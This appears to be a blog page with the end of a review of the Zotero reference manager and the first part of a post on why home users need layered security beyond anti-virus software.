Zotero is still an underdevelopment project. It has a dedicated link on its homepage which allows enthusiastic individuals to contribute their new ideas or making improvements. For a new user, they have great support page which comprehensively explains all the great features of Zotero.

The only thing that I am on the lookout for is Zotero coming onto different browser platforms. Currently, it is only supported by Mozilla Firefox but that holds a certain disadvantage against it. In addition, I have noticed in occasional events that the sync features take longer than usual. This could be due to their storage or the format that they are using.

Overall, I think Zotero is a great free tool for everyone who wants to efficiently save time and sources. I most favorite feature of Zotero is highlight and share. I am sure that the few glitches that Zotero currently has will soon disappear.

Tagged

Layered Security For Home User – Part 1

Most who work in information security are familiar with the term layered security (also known as layered defense) which in a nutshell mean that you employ multiple solutions/components to protect your assets. This idea has been pushed at the enterprise level for years and has been significantly effective at deterring attacks. And with the latest advancements in the end-point-monitoring (EPM) solutions, enterprises now have the capability to both monitor and control what happens on all of the workstations in the environment.

But if you move away from enterprise security to securing the average home user, most users tend to rely solely on the anti-virus solutions. Now, I am not going to get into the debate over how effective or ineffective anti-virus solutions are – but if you are interested in reading rants over this topic feel free to do so. However, what I will say is that just having anti-virus software (especially now) definitely does not meet the layered security concept.

So, how do we get layered security for home computers? Well, the market is not shy from a variety of different solutions that will promise to compliment your existing anti-virus while providing you the benefit of added security. And in my opinion, some of these products can actually be beneficial such as malware, spyware, and email protection but most of these features are already built-in to latest anti-virus solutions – you may just not know it. So, the question still stands, how do we get layered security for home computers? Well, let me answer this by explaining a recent event where I had the opportunity to test a theory first hand…

Continue with part 2

Tagged , ,
Advertisements
Advertisements